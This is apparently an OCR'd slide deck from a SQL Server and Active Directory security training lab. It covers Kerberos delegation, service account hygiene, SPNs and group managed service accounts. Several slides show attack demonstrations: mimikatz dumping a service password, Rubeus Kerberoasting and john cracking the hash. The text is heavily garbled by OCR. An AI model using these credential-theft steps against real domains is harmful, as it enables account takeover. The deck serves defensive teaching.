0 contoso'\Schema Admins WINDOWS GROUP|GRANT OR DENY
0 \Authentication authority asserted identity WINDOWS GROUP|GRANT OR DENY
0 contoso'\Denied RODC Password Replication Group WINDOWS GROUP|GRANT OR DENY

SELECT * FROM sys.user token

principal_id
1

name

dbo

type
SQL USER

usage
GRANT OR DENY




Configuring a Web App for Delegation

web.config
version="1.8" encoding="utf-8"

name="WideWorldImporters" connectionString="Server=bootcamp-sql.contoso.com;Database=WideWorldImporters;Integrated Security=SSPI"

enabled="false"

enabled="true"

impersonate="true"




Not That Simple

= @, A Notsecure | bootcamp-www/

Server Error in '/ Application.

Login failed for user ‘'NT AUTHORITY\ANONYMOUS LOGON'.

DESEI’iptiDI'I: An unhandled exception occurred during the execution of the current web request. Please review the stack trace o

Exception Details: System.Data. SqlClient. SglException: Login failed for user 'NT AUTHORITY W ANONYMOUS LOGON'.

Source Error:

An unhandled exceptlon was generated during the execution of the current web reguest. Informaticn regarding the origin and locatis



Kerberos Constrained Delegation

BOCOTCAMP-WWW Properties ? -

Password Replication  Location  Managed By Object  Securty  Attribute Editor
General Operating System Member Cf Delegation

Delegation is a secunty-sensitive operation, which allows services to act on
behalf of another user.

() Do not trust this computer for delegation
() Trust this computer for delegation to any service (Kerberos only)
) Trust this computer for delegation to specified services only

D Use Kerberos only

() Use any authentication protocol

Services to which this account can present delegated credentials:

Service Type  User or Computer Port
IMS5QL5ve BOOTCAMP-50L comtoso.com 1433

| ([) Expanded Add... Remove

el | | ooy || Heb




DEMO: Kerberos Delegation



Protocol Transition Security Risks

BOOTCAMP-WWW Properties ? x

Password Replication  Location  Managed By  Object  Securty  Attribute Editor
General Operating System Member Cf Delegation

Delegation is a securty-sensitive operation, which allows services to act on
behalf of another user.

() Do nat trust this computer for delegation
() Trust this computer for delegation to any service (Kerberos only)
O Trust this computer for delegation to specified services only

() Use Kerberos only

Q) Use any authentication protocal

Services to which this account can present delegated credentials:

Service Type  User or Computer Port S

MS5QLSve BOOTCAMP-50L contoso.com 1433
IMS50L5ve BOOTCAMP-50L contoso.com

| (L) Expanded Add... Bemove

o | [ ooy | [t




Unconstrained Delegation Security Risks

BOOTCAMP-WWW Properties ? x
Password Replication  Location  Managed By  Object  Securty  Aftribute Editor
General Operating System Member Of Delegation

Delegation is a security-sensitive operation, which allows services to act on
behalf of another user.
(") Da not trust this computer for delegation
0 Trust this computer for delegation to any service (Kerberos onlyl
() Trust this computer for delegation to specified services only
lse Kerberos anly
lse any authentication protocal

Services to which this account can present delegated credentials:

Service Type  User or Computer Port S

([ Expanded Add... Bemove




Per-Account Countermeasure

Adrmin Properties ? X
CDrganization Published Certfficates Member Of
Password Replication Ohject Securty  COM+  Attibute Editor
General Address Account Profile Telephones
User logon name:
Admin @contoso .com ~

User logon name (pre-Windows 2000):
comntoso®, Admin

Logon Haours.... Log On To...

[] Unlock account

Account options:

[_) Smart card is required for interactive logon

[_] Use only Kerberos DES encryption types for this account
[ This account suooorts Kerberos AES 128 bit encrvotion.
Account expires

© Never
O End of: | Saturday . December 4, 2021

Conce | [ ooy | [t




Countermeasure — Windows Server 2012 AD

Protected Users Properties ? x
Ohbject Securty Attribute Editor
General Members Member Cf Managed By
Members:
Mame Active Directory Domain Services Folder
,E) Adrmin contoso.com./Lsers

Bemove

Ok Cancel Apply Help




Resource-Based Constrained Delegation

E¥  Administrator: Windows Power® < F 7 — O X

PS C:\> Set—-ADComputer BOOTCAMP-SQL
PS C:\> Get—-ADComputer BOOTCAMP-SQL PrincipalsAllowedToDelegateToAccount

DistinguishedName : CN=BOOTCAMP-SQL ,CN=Computers,DC=contoso,DC=com
DNSHostName : BOOTCAMP-SQL.contoso.com

Enabled : True

Name : BOOTCAMP-SQL

ObjectClass : computer

ObjectGUID : 3c581042-c658-Ufcl-aacb-a7247b2U43b75
PrincipalsAllowedToDelegateToAccount : {CN=BOOTCAMP-WWW,6CN=Computers,K DC=contoso,DC=com}
SamAccountName : BOOTCAMP-SQL$

SID : $-1-5-21-34910921-179856205-1848526134-1104
UserPrincipalName :




Resource-Based Constrained Delegation

| BOOTCAMP-SQL Properties ? X

|

| General Operating System Member Of Delegation
Password Replication  Location ~ Managed By Object Security  Attribute Editor

Attributes:
Attribute Value
middleMame <not set>
mobile <not set>
medifyTimeStamp <not set>
msCOM-UserPartitionSetLink <not set> I
msDRM-IdentityCertificate <not set>
msDS-AdditionalDnsHostName <not set>
msDS-AdditionalSamAccountName <not set>
msDS-AllowedToActOnBehalfOfOtherldentity \01100104\8 0N 14100\
msDS-AllowedToDelegateTo <not set>
msDS-Approx-Immed-Subordinates 1
msDS-AssignedAuthMNPolicy <not set>
msDS-Assigned AuthNPolicySile <not set>
msDS-Authenticated AtDC <not set>
msDS-Cached-Membership <not set>
|
View Filter

OK Cancel Apply Help




SQL Server Identity



Built-In Identities

SCOL Server (MSSOLSERVER) Properties ? X
Always On Availability Groups Startup Parameters Advanced
Log On Service FILESTREAM
Log on as:

{* Builtn account:

Metwaork Service ;I

Local System
Local Service

r\-

Account Name:

Browse |

Passwaord:

Confirm passwaord:

Service status: Running

Skark | Stop | Pause | Restart |

| oK | | Cancel | Apply Help




Virtual Service Account

SQL Server (MSSQLSERVER) Properties ? >
Always On Availability Groups Startup Parameters Advanced
Log On Service FILESTREAM
Log on as:

(" Built-in account:

| ]

.
Account Name: | NT SERVICE\MSSQLSERVER Browse |
Password: Itt*ttttt*t*tttt*

Confirm password: EEEFEFEFEFEFEFER

Service status: Running

Skart Stop Pause | Restart

oK Cancel Apply Help




Dedicated Service Accounts

1 Active Directory Users and Computers — O >
Eile  Action View Help
e BBz HE T aETaY

1 Active Directory Users and Computers [|| Name Type Descriptio
s || Saved Queries

W iﬂ contoso.com

|| Builtin

| Computers

2| Domain Controllers

E; svc_sqlclu_prod User

| ForeignSecurityPrincipals
| Keys

| Lost&ndFound

| Managed Service Accounts
| Program Data

| System

| Users

|| NTDS Quotas

s || TPM Devices

2| Service Accounts

L A

L




Dedicated Service Accounts

S0L Server (MSS0OLSERVER) Properties ? >
Always On Availability Groups Startup Parameters Advanced
Lag On Service FILESTREAM

Log on as:
" Builtn account:
Metwork Service ;I
% This account:
Account Mame: I contose\sve_sqgldu_prod Browse |
Password: I R
Confirm password: I e
Service status: Running
Skart | Stop | Pause | Restart |
I Ok | | Cancel | | Apply | | Help |




Manual Service Principal Name Management

sve_sqlclu_prod Properties 7 x
Oroanization | Published Cerificates | Member Of
Multi-valued String Editor *

Attribute: service PrincipalMame

Walue to add:

| Add
Walues:

MSSALSve/BOOTCAMP-50L Remove
MSSQLSve/BOOTCAMP-50L contoso.com =
MSSQLSve/BOOTCAMP-50L contoso.com: 1433
MSSALSve/BOOTCAMP-50L: 1433

oK Cancel = Apply Help




Accepted SPNs

Protocols for MSSQLSERVER Properties ? >

Flags Certificate Advanced

H General
d MSSOLSve/HOST 1. Contoso.com -
Extended Protection MSSQJ.E\MHDSN {LContoso.com;MSS0LSve/HOST 2. Contoso.com

Accepted NTLM S5PNs

K. Cancel Apply Help




Risk of Permanent Passwords

. swve_sqlclu_prod Properties ? X
. Crganization Fublished Certfficates Member Of

| Password Replication Object Security COM+ Attribute Editar
' General Address Account Profile Telephones

U=er logon name:

svec_sqglclu_prod @contoso.com -

User logon name (pre-Windows 2000);

contoso®, svc_sglclu_prod

Logon Hours... Log On To...

(] Unlock account

Account options:

() User must change password at next logon
() User cannot change password

........

........

[ Store password using reversible encryption

Account expires
O Never
() End of: | Saturday . December 4, 2021

e | [ ooy ||t




Risk of Over-Privileged Service Accounts

sve_sqlclu_prod Properties ? >

Password Replication Ohject Securty  COM+  Aftrbute Editor

General Address Accournt Prafile Telephones
Organization Published Certificates Member Of

Member of

Mame Active Directory Domain Services Folder

Domain Admins contozo.com./Users

Domain Users cortozo.com./Users

Add... Bemove

Primany group: Domain Lsers

) There is no need to change Primary group unless
et Frimary Group you have Macintosh clients or POS[¥-compliant
applications.

ot | [ty | e




Risk of Credential Harvesting

L Select mimikatz 2.2.0 x84 (oe.eo) — Od =

Secret : _SC_MSSQLFDLauncher / service 'MSSQLFDLauncher' with username : NT Service\MSSQLFDLauncher

Secret : _SC_MSSQLSERVER / service 'MSSQLSERVER' with username : contoso\svc_sqlclu_prod

cur/text: Pa$$werd

: _SC_sSQLServerReportingServices / service 'SQLServerReportingServices' with username : NT SERVICE\SQLServerReportingServices

: _SC_SQLTELEMETRY / service 'SQLTELEMETRY' with username : NT Service\SQLTELEMETRY
: _SC_SSASTELEMETRY / service 'SSASTELEMETRY' with username : NT Service\SSASTELEMETRY

: _SC_SSISTELEMETRY150 / service 'SSISTELEMETRY15@' with username : NT Service\SSISTELEMETRY15©




DEMO: Dumping Service Credentials



Credential Harvesting Permissions

to the computer/domain

Administrators Properties ? >
General
%,' Administrators
Description: Administrators have complete and unrestricted access

Changes to a user’s group membership
are naot effective until the next time the

Members:
ﬁﬁdmin
A Administrator
2, contoso*\Domain Admins
Add... Bemove
user logs on.
OK Cancel

Apply

Help




Risk of Credential Reuse

x f — O X

BN Administrator: Windows Power=

PS C:\Users\Admin> Get-ADReplAccount bootcamp-dc | Test-PasswordQuality

Active Directory Password Quality Report

Passwords of these accounts are stored using reversible encryption:
LM hashes of passwords of these accounts are present:
These accounts have no password set:
Passwords of these accounts have been found in the dictionary:
These groups of accounts have the same passwords:
Group 1:
contoso\Admin
contoso\Administrator

contoso\svc_sqlclu_prod

These computer accounts have default passwords:




Configuring Kerberos Encryption Types

sve_sglclu_prod Properties 7 x

COrganization Published Certfficates Member Cf
Password Replication Object Securdty  COM+  Attrbute Editor
General Address Accourt Prafile Telephones Delegation

User logon name:

svc_sqlclu_prod @contoso.com e

User logon name (pre-Windows 2000):
contasa®, sve_sqlclu_prod

Logon Hours... Log On To...

(] Unlock account

Account options:

(] Use only Kerberos DES encryption types for this account

[ @ This account supports Kerberos AES 256 bit encryption. |
[ (") Do not require Kerberos preauthentication

‘ Account expires
0 Never
(O End of: | Saturday . December 4, 2021 |

carce | | ooy || b




Misconfigured Kerberos Encryptlon Types

sve_sglclu_prod Properties

Organization Fublished Certfficates Member Of
Fassword Replication Ohject Securty COM=

Attribute Editor
General  Address Account Profile

Telephones Delegation
User logon name:

sve_sqlclu_prod @Econtoso.com -

User logon name (pre-Windows 2000):

comtoso®, svc_sqlclu_prod

Logon Hours... Log On To...

(] Unlock account

Account options:

() Uge only Kerberos DES encryption types for this account
[:] This account supports Kerberos AES 128 bit enmrptiun

[:] Do naot require Kerberos preauthentication

Account expires
0 Never
(O End of: | Saturday . December 4, 2021

oo | [ ooy || o




Kerberos RC4 Encryption

EX  Administrator: Windows PowerS X - e — O *

PS C:\> Hlist get MSSQLSvc/BOOTCAMP-SQL

Current LogonId is 8:8x23a6a
A ticket to MSSQLSvc/BOOTCAMP-SQL has been retrieved successfully.

Cached Tickets: (2)

Ho= Client: Admin @ CONTOSO.COM
Server: krbtgt/CONTOSO.COM @ CONTOSO.COM
KerbTicket Encryption Type: AES-256-CTS—-HMAC-SHAl1l-96
Ticket Flags 6xiU6elB88B -> forwardable renewable initial pre_authent name_canonicalize
Start Time: 11/4/2021 15:05:52 (local)
End Time: 11/5/2821 1:85:52 (local)
Renew Time: 11/11/2821 15:85:52 (local)
Session Key Type: AES5-256-CTS-HMAC-SHAl-96
Cache Flags: 6x1 -> PRIMARY
Hdc Called: BOOTCAMP-DC.contoso.com

Client: Admin @ CONTOSO.COM
Server: MSSQLSvc/BOOTCAMP-SQL @ CONTOSO.COM
KerbTicket Encryption Type: RSADSI RCU-HMAC(NT)
Ticket Flags exuealeeed -> forwardable renewable pre_authent name_canonicalize
Start Time: 11/4/2021 15:85:52 (local)
End Time: 11/5/2021 1:85:52 (local)
Renew Time: 11/11/2821 15:85:52 (local)
Session Key Type: RSADSI RCU4-HMAC(NT)
Cache Flags: @
Hdc Called: BOOTCAMP-DC.contoso.com
PS C:\> |




Kerberoasting Attack

BN Administrator: Command Prom| = 0 admin@BOOTCAMP-PC: /mnt/c X 1 ~ - O X

c:\Tools>Rubeus.exe Kerberoast /rcuUopsec

Action: Kerberoasting

[*] Using 'tgtdeleg' to request a TGT for the current user

[*] RCU_HMAC will be the requested for AES-enabled accounts, all etypes will be requested for everything else

[*] Target Domain : contoso.com

[+] Ticket successfully imported!

[*] searching for accounts that only support RCU_HMAC, no AES

[*] Searching path 'LDAP://BOOTCAMP-DC.contoso.com/DC=contoso,DC=com' for '(&(samAccountType=805306368)(servicePrin
cipalName=*) (!samAccountName=krbtgt) (! (UserAccountControl:1.2.8u6.113556.1.4.803:=2))(!msds—-supportedencryptiontype
5:1.2.8U0.113556.1.4.804:=24))"

[*] Total kerberoastable users

[*] samAccountName : svc_sqlclu_prod

[*] DistinguishedName : CN=svc_sqlclu_prod,0OU=Service Accounts,DC=contoso,DC=com

[*] ServicePrincipalName ! MSSQLSvc/BOOTCAMP-SQL:1433

[*] PwdLastSet : 11/4/2821 12:13:57 PM

[*] Supported ETypes : RCU_HMAC_DEFAULT

[*] Hash : $krb5tgs$23$+*sve_sqleclu_prod$contoso.com$MSSQLSve/BOOTCAMP-SQL :1433%$CFD7FOEET72
9D1BU1DF9C5C1675CTEDO$83E27DO3C2CI9ADDFACS8E2EGBF9359CF927D73U01B3BCAOUTAF2BCS5B32
EB57D265AT520AA2A3D97964839203D34D1525E301FFU4AFDO2T78UOELCFROTUFA28UD55626AUFFDF




Kerberoasting Attack

B Administrator: Command Prom| = 8 admin@BOCTCAMP-BC: /mnt/c 1 - O X

/mnt/c/Users/Admin
john /mnt/c/Tools/tgsreproast.txt ——wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RCu4])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Pa$$werd (?)

1g 0:00:00:00 DONE (2021-11-64 16:13) 2.857g/s 228285p/s 228285c/s 228205C/s claudial2..Bulldog
Use the "--show" option to display all of the cracked passwords reliably
Session completed

/mnt/c/Users/Admin




DEMO: Kerberoasting



Mayhem: Misconfigured Service Identity

S0L Server (MSSOLSERVER) Properties ? o
Always On Availability Groups Startup Parameters Advanced
Log On Service FILESTREAM
Log on as:

" Built4n account:

E

{* This account:
Account Mame: I contoso\Administrator Browse |
Password: I e e e e e
Confirm password: I TrrsrsrrsTy
Service status: Running
Skark Stop Fause Restart

Cancel Apply Help




Mayhem: Misconfigured Service Identity

Admin Properties ? X
Crganization Published Certificates Member Of
General Address Account Prafile Telephones Delegation
Password Replication ~ Object  Secuity  COM+  Adtribute Editor

Attributes:

Attribute Value

last Logaff {newver)

lastLogon 117472021 3:05:52 PM Central European St

lastLogon Timestamp 117372021 4:21:42 PM Central European St

logonCount 153

logonHours FRRRTRR PR R PRI

objectCategaory CM=Person ,CN=5chema,CN=Configuration, [

objectClass top; person; arganizational Persen; user

primanyGroup| D 513 =(GROUP_RID_USERS)

pwdlLast Set 101872021 2:47:23 PM Central European 5

sAMAccourtMame Admin

sAMAccourt Type 805306368 = NORMAL_USER_ACCOUNT

servicePrincipalMame  MSS5QLSvwe/PCO1

userAccountCaontral Do 10200 = { NORMAL_ACCOUNT | DONT_|

Edit Filter

Cancel Apply Help




Mayhem: Misconfigured Admins

EX Administrator: Command Prom| t b = O e

Current LogonId is ©:8x23a6a
A ticket to MSSQLSvc/PCE1 has been retrieved successfully.

Cached Tickets: (2)

#o=> Client: Admin @ CONTOSO.COM
Server: krbtgt/CONTOSO.COM @ CONTOSO.COM
HerbTicket Encryption Type: AES5-256-CTS-HMAC-SHA1-96
Ticket Flags ©0xU48ele8ed -> forwardable renewable initial pre_authent name_canonicalize
Start Time: 11/4/2021 16:17:47 (local)
End Time: 11/5/2621 2:17:47 (local)
Renew Time: 11/11/2021 16:17:47 (local)
Session Hey Type: AES-256-CTS5-HMAC-SHAl1-96
Cache Flags: 6x1 -> PRIMARY
Kdc Called: BOOTCAMP-DC.contoso.com

Client: Admin @ CONTOSO.COM

Server: MSSQLSvc/PCOl @ CONTOSO.COM

KerbTicket Encryption Type: RSADSI RCU-HMACCNT)

Ticket Flags 0x40aleees -> forwardable renewable pre_authent name_canonicalize
Start Time: 11/4/2021 16:17:47 (local)

End Time: 11/5/2021 2:17:47 (local)

Renew Time: 11/11/2821 16:17:47 (local)

Session Key Type: RSADSI RCU-HMAC(NT)

Cache Flags: ©

Hdc Called: BOOTCAMP-DC.contoso.com




Risk of Interactive Logon

Other user

svc_sqlclu_prod

Sign in to: contoso

How do | sign in to another domain?

Other user




Countermeasure: Deny Logon

B Local Group Policy Editor

File Action View Help

o 2E XE =2 HE

=/ Local Computer Policy ~ 1| Policy Security Setting "
v M Computer Configuration

.| Software Settings
v || Windows Settings
.| Name Resolution Policy
| Scripts (Startup/Shutdown)
= Deployed Printers
v B Security Settings

21, Deny access to this computer from the network Guest
.., Deny log on as a batch job

2.z Deny log on as a service

| Deny log on locally

212, Deny log on through Remote Desktop Services
. Enable computer and user accounts to be trusted for delegation

A Account Policies .y Force shutdown from a remote system Administrators
v & Local Policies 2 Generate security audits LOCAL SERVICE, NETWOR...
—_!‘i Audit Policy 2z Impersonate a client after authentication LOCAL SERVICE,NETWOR...
_g User Rights Assignment v | - Increase a process working set Users

< > . Increase scheduling priority Administrators Window .. v




Always Use Password Generators

Password Generator

== Password Generation Options
’.*_ Here you can define properties of generated passwords.

Settings Advanced(l) Preview

Here you see a few sample passwords matching the rules specified on the firsttab pages.

MESmVYRHeGSH4KgiFySmgRACApD2ZMgY9cERANsWgkb JEWNgCewcK3VjHTmak4XRJsH3F ~
BRBTMYVFEYoRAoODcKWEeEBreeGrS9snY IVIy I tWYgQLESCwgBbWXWgLCE5vmeed46rLas
2nrY¥pnwaPi2hJXbenLWMgSDVHme 2ZEmsXaMEYxemLMcTXFEYNVSgXriho 8 vowQwD
gTBAHOn S embmeMAWTEEhYvFrxoGELSzs] sUHOsmY JagZAK6AVY A JFE6xjgNMRRGOY
prTDhjyUGchSnyijedutZuPseEKRSbVS16TKBKUbEZjYZJHAHthPwmhbasU

{GeLgWnThiKShDOpmDESSuTrgviueCEM :
EFqubRBEpGUGXePTchEVUagtSD3p36Dchwzthk?quzBfafDDeRHNSaZHGSl
X3NLPcSygCWHMZAGFXzTAZzwXx9pe ThCZAXgxHE JSEfr4ZSCHYoSZ jdFVyMj3X3LHgTs
vSNdpKsPTTd9xBVIffaorRIJxoNEUALMEY SoVChECFTZ2 ZLbFviKPjGENxihAmgR
XZ29THEWANDbkSGAufrovs2FoiwGymPe LkkcyTLGEmL T 7DwxZ ThSVoHBFObREVSwsSP
gemeYQEJGFEG3ULLXHVvBi Tz3WdVEWNhUNSTLz3cfoPXYE2LSoot3jFEffegkZgads
62xySoxTgWZmUQo5828ACei k2E2BMugDG2 5NK6uCr jJXtQcEhFi PMbmuaZ eXBnbmH
ijTwvyGJAp86SPHgviG4aMveW] SbsUgAbPNFXbuTkvMECnELpFcdmCeégLEXEQxgin
czVBTbIf8JB56S5cwxNwyhS jpNvcEhJiedVX9xmgXiigQSSECToEmG4BihKu3m3m]j £
4ZRhsBbeoPkefpvKanWFseyBHISCcNCZfLGo6Cj JSgFgZWCB2H=s0%u8 TnSvdbyj=
CVERuSD2uySJt8JX3enY8o6DtrYLedhTgGRSZYuCSmaZ SVILPZgBrFyJbSukalUsC
Y6zTyioT8LUmSv4CerJbL8pcKSCWYEFh366nYN2 JAK7dUnzi BKbPztagEhMtUs5m
SBAX94XECuKSw3IRMYNSoK2vhVeC54ggijgNRHzMS j syrEQRacVhUMv20FNcD3no43
JewtntN3InyAXgXpVHVZ2XAurocdNBuTgE2 FOfvNepX4TCt j SVLDgPTHEHe swHoWAC
DuSuBAjYZOETNATO11YODWHZ2 Dut iV TmwulUQPT 9yQulsAxjdPdPRapvY Y2 KAQAMD
dARioporQY¥YPjSJXzuXaxoPRWNbombéwgtJa7sDecgdIMnhZzS5GVbS1iPPESBmEMrr34
gQhCZmAZEMvW3rpURrARerPAYOhsBvUXCGWNWNcOCrXvt ZLFBCVRTLEvESazMrkXk
HnWESJEakor6oYyS5AETGIkzt3z4Hvdi G5 YxaxcVnSYHEPI NECwrUMe9pkgYLah4 7
2rozx5AbnyEB6a3j PinggE4zsYbSLBQMx Yt VT JjEK6GPoi y2v3gBFgeofMyZ JZuEX
JsbjEkzgPHuUTSx2bETMGat Tvedn3DZr5Z2g6aVRh4ZVNesFp3ZET2g8ig7Th3QYTCN LV




Group Managed Service Accounts

| Active Directory Users and Computers — O x

File Action View Help
o= | HE EH B2 HEI AR ETER

Active Directory Users and Computers [|| Name Type Description

e

| Saved Queries i?:ﬁ;wc_sqlclu_dev msD5-GroupManagedServiceAccount

v 3 contoso.com
| Builtin
Computers

2 | Domain Controllers

ForeignSecurityPrincipals
Keys EN  Administrator: Windows Powerf i e — O *

LestAndFound
Managed Service Accounts

PS C:\> New-ADServiceAccount svc_sqlclu_dev sqlclu-dev.contoso.com

Program Data
System

Users

MNTDS Cuotas
TPM Devices

= | Service Accounts




GMSA Requirement: KDS Root Keys

X Administrator: Windows Power®
PS C:\> Add-KdsRootKey (Get-Date) .AddHours(-18)

Guid

quofolu2-96bl-ffbu-0Ude2-0ecsula7f1ldb

PS C:\> |




Managed Password Retrieval

EN  Administrator: Windows Power® . b — O b

PS C:\> Set-ADServiceAccount svc_sqlclu_dev




Configuring SQL Server for GMSA

SOL Server (MSSOLSERVER) Properties 7 >

Select User, Service Account, or Group >
Select this object type:
|USE.'f or Built4n security principal | Object Types...
From this location:
|Er1tire Directary | Locations. ..
Enter the object name Object Types

Select the types of objects you want to find.

COhbject types:

Advanced... ] % Builtin security principals
A Service Accounts
] E; Users
Service status:
N B
| Ok || Cencel || Ay || Hep |




Automatic Password Management

S0L Server (MSSOLSERVER) Properties ? >
Always On Availability Groups Startup Parameters Advanced
Log On Service FILESTREAM
Log on as:

" Built-in account:

B2

{* This account:

Account Mame: I contosolsve_sgldu_devg

Password: I

Confirm passward: I |

Browse |

Service status: Running

Restart

Apply

Help




Password Still There

& mimikatz 2.2.0 x64 (oe.eo) — Od =

Secret : _SC_GMSA_DPAPI_{Ce810348-4834-4ale-817D-5838604E6004} 2dc3T@9d8335d8c40b94e942dfe75d2d6cdf5a348885db55795812232b23d458ERROR ku
11 m_registry_OpenAndQueryWithAlloc ; kull_m_registry_ RegOpenKeyEx KO

cur/hex : 86 f1l ba 12 5b 90 45 ee dd bl 50 80 29 ea 45 Oc 67 c3 3 cf 3a 6f d8 c9 30 13 18 68 @e 51 4b 36 1la f4 @3 bf 8f af 3a 14 bb 73
88 8b ef e7 ad 53 ba 9b b8 74 d@ 93 dd 74 85 50 58 c7 d2 ad 23 e8 8e 80 2a 37 8e de 96 c9 cc 88 3c f6 8e d6 d9 36 92 61 dc 58 c2 b6 15 7
3 ae d4 b@ c8 1la d2 bl a8 4a f1 64 99 98 a3 e8 4a bb 8c 2b el 80 46 83 07 20 58 25 2b bd 51 19 a7 1@ 65 bf 69 91 dl 88 d4 1@ 37 31 cf 2f
82 fa d3 78 f7 43 76 5a a5 7d 48 8e ©c 8d 9c b2 9e 3b d3 5c b9 77 2e 32 48 a5 1f fa 35 a3 8e fd 8c 15 b8 94 6e ca ca 2f ad €0 14 79 b9
72 b3 09 22 ad 96 9d ed bl e6 df dl 8d 1b aa 99 73 62 ff da a5 41 ff f5 85 d1 49 b8 be 1le 79 7d 3d @5 bl 83 6e c6 16 17 50 c7 74 fb fc 5
f 1c 8a 65 bc dc 9f 73 96 1d 37 c6 7c ed 64 24 49

Secret : _SC_GMSA_{84A78BBC-56EE-465b-8496-FFB35A1B52A7}_ 2dc3f@9d8335d8c40b94e942dfe75d2d6cdf5a348885db55795812232b23d458ERROR kull m_r
egistry_OpenAndQueryWithAlloc ; kull _m_registry_RegOpenKeyEx KO

cur/hex : @1 ©© 00 66 22 01 00 60 10 00 00 60 12 @1 1a ©1 ad ©6 15 a8 c8 b2 ce ec 2f 84 b9 7f 43 52 3@ be 05 10 b7 ab 17 ff b5 de 56 d8
10 50 ad 44 37 b2 6d 73 95 ©d 97 d2 18 90 5c 9d 27 df 70 ec le 02 f3 a5 7e c2 ab 16 33 fb 94 41 bc 24 80 32 ff ad ba c8 ae 62 94 89 d6 d




Service Principal Names

¥ Administrator: Windows Power? X 1 W — O w

PS C:\> Set-ADServiceAccount svc_sqlclu_dev °
= @{ Add

-

=

-




DEMO: GMSA



Note: Linked Servers

BMDB2

SSIS

-

Image Source: https://techcommunity.microsoft.com/t5/sql-server-support/linked-server-performance-heterogeneous-databases/ba-p/316167




Note: Linked Servers

8 MNew Linked Server — Od *

Selecta page T Scipt ~ @ Help
£ General

& Security
& Server Options

Local server login to remote server login mappings:

Local Login Impersonate Remate User Remote Passward
Connection Add Remoye
Server:
BOOTCAMP-SQL For a login not defined in the list above, connections will:
Connection:
contoso \Admin

() Mot be made

ﬁ View connection properties
() Be made without using a security context

© Be made using the login's cument security context

() Be made using this security context:

lemate login:
Ready R -
With password:
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